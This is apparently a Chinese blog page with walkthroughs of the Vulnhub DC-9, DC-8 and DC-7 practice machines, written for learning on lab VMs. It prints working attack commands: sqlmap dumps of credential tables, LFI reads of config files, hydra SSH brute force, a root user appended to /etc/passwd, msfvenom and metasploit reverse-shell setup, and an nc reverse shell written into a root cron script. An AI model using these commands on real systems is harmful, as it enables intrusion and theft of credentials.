首先继续使用arp-scan -l获取靶机的地址目标ip 192.168.75.142接下来使用nmap获取更多的相关信息nmap -sS -A -p 1-65535 192.168.75.142不出所料,又是熟悉的80-22两个端口那也不出所料的直接访问80一个显示职员的页面,但是在manage.php中可以进行登录,这里我们肯定要得到管理员账户密码,每个页面进行模糊测试,发现在results.php中存在严重的POST类型SQL注入。sqlmap -u "http://192.168.75.142/results.php" --data "search=1" --dbs?????被我扫死了?重启一下虚拟机看看正常了(汗)可以看到有一个user库,看看里面有什么东西sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D users -T UserDetails --dump这里是那些员工这账号和密码,后面可能会用到,先放着,然后再回过来爆另一个员工库看看会有什么东西:sqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff --tablessqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T StaffDetails --dumpsqlmap -u "http://192.168.75.142/results.php" --data "search=1" -D Staff -T Users --dump直接使用这个账号密码登录后台试试看可以看见它多了一个Add Record选项,并无什么有用的东西,再看它下面的那句话:File does not exist ,它说文件不存在,这里就很可以了,随即联想到这里是不是存在LFI漏洞,类似前某一次的DC。emmmpasswd文件风评被害。。。所以说LFI是存在的,但是做到这里的时候就卡住了,不知该如何进行下去在CSDN参考了一些大佬的做法,晓得这里用的是端口敲门:原理简单分析: 端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。 简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号,用LFI把这个文件爆出来:知道端口号后,然后进行敲门,使用nmap即可:nmap -p 7469 192.168.1.109 nmap -p 8475 192.168.1.109 nmap -p 9842 192.168.1.109然后再用namp看一下靶机的ssh服务是否可以正常利用:nmap -p22 192.168.75.142可以看见,ssh服务已经可以利用了,但是需要登录凭证,然后我们把前面所爆出来的那些员工的账号和密码编写成两个字典hydra -L user.txt -P passwd.txt 192.168.75.142 ssh真棒,有一个是管理员用户就先选用这个janitor用户登录ssh janitor@192.168.75.142登录进来以后先查看一下都有什么嗯?密码文件?再爆破?加到刚刚那个里面试试看再次hydra起爆......登录吧。。话不多说,直接看可操作的sudosudo -l在这里我们可以看到,这个用户可以sudo使用root权限在运行一个test程序,而且不需要密码,然后我们先进去这个保存文件测试的位置看一下这是个什么程序:python脚本是一个python脚本。既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。回到kali使用openssl工具先创建一个本地的加密用户:openssl passwd -1 -salt admin 111111然后回到靶机中,去到那个程序的目录下用echo命令在/tmp目录下创建一个名为aaa的文件(这个文件名可以自定义),再使用sudo用那个test程序来运行这个文件,随后切换成我们添加的这个用户,输入自己设定的密码就可以成功提权到root用户了,最后进入root目录下查看flag即可。echo 'admin:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaasudo ./test /tmp/aaa /etc/passwdsu admincd /rootcat theflag.txt至此,1-9靶机除了dc3有问题以外,全部通关
2020年05月03日
97 阅读
0 评论
0 点赞
2020-05-01
Vulnhub靶场之DC-8
废话不多说。还是老规矩先安装上虚拟机然后一波arp-scan -l查找目标主机192.168.75.141使用nmap查询更多信息nmap -sS -A -p 1-65535 192.168.75.141不要说,肯定又是80 22访问看看吧又双叒叕是Drupal的系统。。。。看看页面上有没有什么问题吧。。。嗯??见ID就想起注入,,,搞不好还真有,,,and测试看看?好像还真有问题,上sqlmap一把嗦看看sqlmap -u "http://192.168.75.141/?nid=1"666还真的有,继续看看能不能爆表出来sqlmap -u "http://192.168.75.141/?nid=1" --dbssqlmap -u "http://192.168.75.141/?nid=1" -D d7db --tables吧users表导出看看有没有什么东西sqlmap -u "http://192.168.75.141/?nid=1" -D d7db -T users --dump两个用户、、、hash密码用John爆破。。。用御剑扫到robots文件发现登陆点,用john账号登录经过搜索发现一个问题,可以运行php代码在联系我们的这个设置项里边和DC-7的靶场有异曲同工之妙。。。试着反弹shell,(需要注意的是在php代码前面最好写一些字符,否则代码无法执行,不知道什么逻辑)获取到shell了很明显,又是熟悉的www-data权限寻找标志位为s的文件看到可疑文件exim4查看版本查到了poc将红框内的文件使用wget下载到靶机chmod +x但是这里有个问题,这个脚本是在windows下开发,每行的结尾都有^M,所以需要删除每一行结尾的^M方法:vi 46996.sh:%s/^M//g:wq
2020年05月01日
80 阅读
0 评论
0 点赞
2020-04-24
Vulnhub靶场之DC-7
这周开始上课了,没法每日更新了,只能周末抽时间发,,,那么进入正题老规矩先搜索主机的地址arp-scan -l用nmap扫描端口和信息nmap -sS -A -p 1-65535 192.168.75.140开启了80端口,访问一下看看emmm,为啥这么熟悉,。,。使用之前的方法攻击Drupal,用msf测试失败。。。。总觉得哪里和原先的不一样????挂上SSR去谷歌搜一波看看!!!配置文件?账号密码?能不能登录后台?SSH呢,奇怪的操作增加了WTF奇怪的操作果然增加了查看当前目录下的文件,backups里面有两个加密文件,不可利用,查看mbox文件,发现是一个计划任务:自动备份数据库的执行情况,调用的脚本是/opt/scripts/backups.sh,是root权限执行的。看看权限和内容drush和gpg是什么东西?其中drush是专门用来管理Drupal站点的shell,可以用来修改密码可以修改admin账号的密码,这里要进入/var/www/html目录下才有权限执行该命令,这里修改密码为123465,提示success即修改密码成功。登录成功在Content中新建一个Basic page,然后在Title输入页面的名称,在Body中放入反弹shell的PHP代码,Text format的位置选择PHP code。但是从下图中可以看到Text format里面没有PHP code选项。这些都弄好了之后,在kali上监听端口,最后点击Preview按钮。不过这个貌似被移除了可以通过手动安装。选择URL并点击installURL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz随后在Content中添加webshell.php,点击Content > Add content > Basic page,先将Text format修改为PHP code,再写入反弹shell可以直接msfvenom生成一个反弹shell代码msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.75.129 LPORT=4444 R > DC7_shell.php复制反弹shell代码到Body里,Title自定义,完了之后放着别动,先使用metasploit监听端口,然后点击Previewmsfconsole use exploit/multi/handler set lhost 192.168.75.129 set lport 4444 set payload php/meterpreter/reverse_tcp run点击Preview后反弹成功,接着进入交互shellshell python -c "import pty;pty.spawn('/bin/bash')"我们使用Drupal反弹回来的shell用户是www-data,所以接下来就是将反弹shell的代码附加到backups.sh脚本中(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.75.129 1234 >/tmp/f" >> backups.sh 然后在kali中监听相应端口,等待计划任务的执行,执行后便获得rootshell,接着进入交互shellnc -lvnp 1234 shell python -c "import pty;pty.spawn('/bin/bash')" 拿下flag
2020年04月24日
125 阅读
0 评论
0 点赞
1
2
3
4